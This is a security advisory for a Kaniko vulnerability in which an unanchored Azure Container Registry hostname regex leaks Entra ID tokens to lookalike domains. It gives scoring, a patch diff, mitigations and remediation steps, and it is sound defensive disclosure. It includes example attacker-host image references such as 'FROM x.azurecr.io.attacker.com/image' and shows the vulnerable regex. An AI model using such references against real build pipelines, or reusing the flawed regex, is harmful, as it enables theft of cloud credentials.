CVE-2026-105769: Azure Entra ID Token Exfiltration in Kaniko via Unanchored ACR Hostname Regex

Vulnerability ID: CVE-2026-105769
CVSS Score: 9.3
Published: 2026-11-05

CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.

TL;DR

An unanchored regular expression in Kaniko's Azure Container Registry credential helper allows an attacker who supplies a crafted Dockerfile image reference (such as FROM x.azurecr.io.attacker.com/image) to exfiltrate the build environment's Microsoft Entra ID (Azure AD) access token for Azure Resource Manager.

⚠️ Exploit Status: POC

Technical Details

• Vulnerability ID: CVE-2026-105769 / GHSA-5q7h-w9jf-cx97 / GO-2026-6225
• Weakness Class: CWE-346 (Origin Validation Error) / CWE-522 (Insufficiently Protected Credentials)
• CVSS v3.1 Score: 9.3 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)
• Attack Vector: Network (Crafted registry hostname in Dockerfile FROM or COPY --from)
• Affected Component: kaniko (< v1.25.20) & docker-credential-acr-env
• Security Impact: Exfiltration of Microsoft Entra ID (Azure AD) access tokens for Azure Resource Manager
• EPSS Score: 0.20% (9.44th Percentile)
• CISA KEV Status: Not Listed

Affected Systems

• github.com/chainguard-dev/kaniko
• kaniko executor
• kaniko warmer
• kaniko-fips
• github.com/chrismellard/docker-credential-acr-env
• kaniko: < 1.25.20 (Fixed in: 1.25.20)
• docker-credential-acr-env: all versions

Code Analysis

Commit: 08de01f

Vendor and patch docker-credential-acr-env under third_party/ with anchored hostname regex and strict host/port validation.

--- a/vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go
+++ b/third_party/docker-credential-acr-env/pkg/credhelper/helper.go
@@ -27,7 +27,14 @@ import (
    "github.com/docker/docker-credential-helpers/credentials"
 )

-var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)
+var acrHostRE = regexp.MustCompile(`^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+azurecr\.(?:io|cn|de|us)$`)
+var portRE = regexp.MustCompile(`^[0-9]{1,5}$`)

Commit: 58915b2

Initial commit in PR #495 addressing GO-2026-6225 ACR credential helper hostname validation.

Commit: 96c054c

Synchronize final dependencies for Kaniko v1.25.20 release.

Exploit Details

• GitHub Issue: Public issue report detailing the unanchored regular expression in docker-credential-acr-env.
• GitHub Pull Request: Pull request containing unit tests and build assertions demonstrating lookalike hostname exploitation (e.g., evil.azurecr.io.attacker.com).

Mitigation Strategies

• Upgrade Kaniko executor, warmer, and standalone credential helper binaries to v1.25.20 or later.
• Disable the Azure credential helper in environments that do not require dynamic ACR token exchange by setting AZURE_ENVIRONMENT=none.
• Block egress traffic from untrusted build pods to the Azure Instance Metadata Service (169.254.169.254/32) using Kubernetes NetworkPolicies.
• Enforce policy-as-code checks on Dockerfiles prior to build execution to restrict FROM and COPY --from image sources to trusted registry domains.
• Isolate pull request builds from production Azure Managed Identities and Service Principal environment variables.

Remediation Steps:

1. Update all Kaniko container image references in CI/CD configurations to v1.25.20 or newer.
2. If importing Kaniko as a Go module, run 'go get github.com/chainguard-dev/[email protected]' and rebuild dependent binaries.
3. If an immediate upgrade cannot be performed, inject 'AZURE_ENVIRONMENT=none' into the Kaniko runtime environment variables.
4. Audit Microsoft Entra ID sign-in logs and Azure Resource Manager activity logs for unexpected token usage or API calls originating from external IP addresses.
5. Rotate any Service Principal secrets or credentials that were exposed to Kaniko build environments processing untrusted Dockerfiles.

References

• GitHub Security Advisory GHSA-5q7h-w9jf-cx97
• Kaniko Pull Request #495: Fix ACR Credential Helper Hostname Validation
• Kaniko Release v1.25.20
• Go Vulnerability Database: GO-2026-6225
• NVD - CVE-2026-105769
• CVE.org Record: CVE-2026-105769
• docker-credential-acr-env Issue #21
• CVE List V5 JSON Record for CVE-2026-105769
• Wiz Vulnerability Database: CVE-2026-105769
• Feedly CVE-2026-105769 Tracker
• The Hacker Wire: CVE-2026-105769 Analysis

Read the full report for CVE-2026-105769 on our website for more details including interactive diagrams and full exploit analysis.